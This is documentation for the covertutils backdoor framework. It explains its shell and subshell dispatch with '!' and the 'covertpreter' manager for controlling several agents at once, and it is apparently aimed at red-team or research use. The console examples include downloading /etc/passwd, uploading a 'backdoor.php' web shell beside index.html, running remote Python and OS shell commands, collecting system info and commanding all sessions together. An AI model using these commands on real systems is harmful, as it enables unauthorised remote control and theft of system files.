Shells & SubShells¶
When a class from the covertutils.shells
family is used to hook and interact with the Handler
object, several built-in features can be used.
The shells provided by the package are (thank god) <Ctrl-C> resistant, and modular, in a sense that no single shell interface accepts every command.
As the architecture of a covertutils
backdoor implies, all data flows through a virtual stream that is identified by an OTP mechanism (see Stream Identification). The other side (Agent) can handle data from different streams in different ways.
The shell that spawns when the covertutils.shell.BaseShell.start()
method is used is almost a dummy. It runs no commands from itself. It is there to provide the stream menu and handle exit commands.
This design makes easier the creation of custom command suites, without expanding the parent classes (but inheriting from them).
Enough subshells have been created for an everyday backdoor (shell, file transfer, even shellcode execution see Beyond the OS Shell), but the ability to create and integrate new ones along with the existing is given through the use of a parent shell approach.
The Session Shell¶
Dispatching commands with "!"
(exclamation mark)¶
From the Parent Shell it is possible to issue commands to any SubShell just by prepending the "!"
and the stream name before the actual command.
(127.0.0.1:58504)> !python print "Dispatching to Python Stream"
Dispatching to Python Stream
Typing only the "!"
and the stream name will jump to the stream’s SubShell.
(127.0.0.1:58504)> !python
[python] >>>
This way SubShells with only one or two commands can be used without directly accessed.
(127.0.0.1:58504)> !file download /etc/passwd
(127.0.0.1:58504)> !stage fload my_custom_module.py
(127.0.0.1:58504)> !control reset
The "!"
can be used from SubShells too, making file transfers handy:
[os-shell]> ls
index.html
[os-shell]> !file upload backdoor.php
File uploaded succesfully!
[os-shell]> ls
index.html
backdoor.php
Exiting¶
Exiting the Parent Shell with exit
or q
or quit
will make the covertutils.shell.BaseShell.start()
method to return. This design is preferred from the sys.exit(0)
approach, as it leaves open the possibility of a multi-shell, used for session management purposes, providing features like the session -i
of meterpreter.
Note
Also the covertutils.shell.impl.StandardShell
class and derivatives contain a sysinfo
class variable, populated when the !control sysinfo
command is first run. This variable is accessible from outside the class, providing information of the controlled system. This can be used to create a brief line similar to meterpreter’s session -l
command.
The covertpreter
Session Shell aggregator¶
Controlling a single host is rarely the case though! Backdoor tools are frequently expanded to RATs (Remote Administration Tools), as there are needs for multiple Agents being controlled at the same time.
covertutils
provides the covertpreter
shell under covertutils.shells.multi
subpackage, to address the need of a a shell to rule them all.
Session Management¶
Basically, covertpreter
is a class maintaining several implementations of the covertutils.shells.BaseShell
class, under an internal data structure,
dispatching commands to each of them, and letting the user ‘jump’ into a currently running session.
covertpreter> session -l
Current Sessions:
0) 28d4a1a19dcb924c - <class '__main__.MyHandler'>
System Info: N/A
1) faee224f3f61e1d7 - <class '__main__.MyHandler'>
System Info: N/A
covertpreter> session -i 1
(covertutils v0.3.4)>
(covertutils v0.3.4)> !control identity
Sending 'ID' control command!
0511ddb0
(covertutils v0.3.4)>
<Ctrl-C>
covertpreter> session -s 28d4a1a19dcb924c
(covertutils v0.3.4)> !control identity
Sending 'ID' control command!
(covertutils v0.3.4)> d72b5e5e
<Ctrl-C>
covertpreter>
It also possible to command all running sessions at-once. Or select the Sessions to dispath a command using their IDs.
covertpreter> control reset
No sessions selected, ALL sessions will be commanded
Are you sure? [y/N]: y
'!control reset' -> <28d4a1a19dcb924c>
Reseting handler
Sending 'RST' control command!
'!control reset' -> <faee224f3f61e1d7>
Reseting handler
Sending 'RST' control command!
OK
OK
covertpreter>
Selectively executing commands:
covertpreter> 28d4a1a19dcb924c control sysinfo
'!control sysinfo' -> <28d4a1a19dcb924c>
Sending 'SI' control command!
General:
Host: hostname
Machine: x86_64
Version: #1 SMP Debian 4.12.6-1kali6 (2017-08-30)
Locale: en_US-UTF-8
Platform: Linux-4.12.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
Release: 4.12.0-kali1-amd64
System: Linux
Processor:
User: unused
Specifics:
Windows: ---
Linux: glibc-2.7
covertpreter>
The sysinfo
information is stored for later usage in the shell which it received it.
The Sessions can be listed with (you guessed it) -l[v]
:
covertpreter> session -l
Current Sessions:
0) 28d4a1a19dcb924c - <class '__main__.MyHandler'>
hostname - Linux-4.12.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling - en_US-UTF-8 - unused
1) faee224f3f61e1d7 - <class '__main__.MyHandler'>
System Info: N/A
-v
also lists the available streams/extensions per session:
covertpreter> session -lv
Current Sessions:
0) 28d4a1a19dcb924c - <class '__main__.MyHandler'>
hostname - Linux-4.12.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling - en_US-UTF-8 - unused
-> control
-> python
-> os-shell
1) faee224f3f61e1d7 - <class '__main__.MyHandler'>
System Info: N/A
-> control
-> python
-> os-shell
The handler
command of covertpreter
¶
Here is where the magic starts!
As there is no actual network server behind covertutils
, and networking is intentionally left to the developer, adding sessions doesn’t depend on server management/sockets/NATs etc…
Also a covertpreter
instance only recognises implementations of covertutils.shells.BaseShell. So adding a session means adding another BaseShell
object in its data structure.
So, for a freshly writtent Handler file, say handler.py
, which invokes a BaseShell
derived object, named shell
,
and calls the shell.start()
to start interacting, there is a way to be added to an already running covertpreter
process.
covertpreter> handler add -h
usage: handler add [-h] [--shell SHELL] SCRIPT [ARGUMENTS [ARGUMENTS ...]]
positional arguments:
SCRIPT The file that contains the Handler in Python
'covertutils' code
ARGUMENTS The arguments passed to the Python 'covertutils'
handler script
optional arguments:
-h, --help show this help message and exit
--shell SHELL, -s SHELL
The argument in the Python code that contains the
'covertutils.shell.baseshell.BaseShell' implementation
That basically means that by using a command like the following:
covertpreter> handler add --shell shell_implementation handler.py <arguments to handler script>
The object defined in the handler.py
will get listed to the sessions -l
list of covertpreter
,
after running the Python code found in handler.py
with <arguments to handler script>
as arguments.
Note
The handler.py
won’t pollute the main script’s Namespace. It is executed in a different Namespace dict
.
The new session will be directly usable, without covertpreter
depending on its transfer method, or internals…
That’s what we get if we completely abstract the networking from the backdoor development!
Have fun with covertpreter
!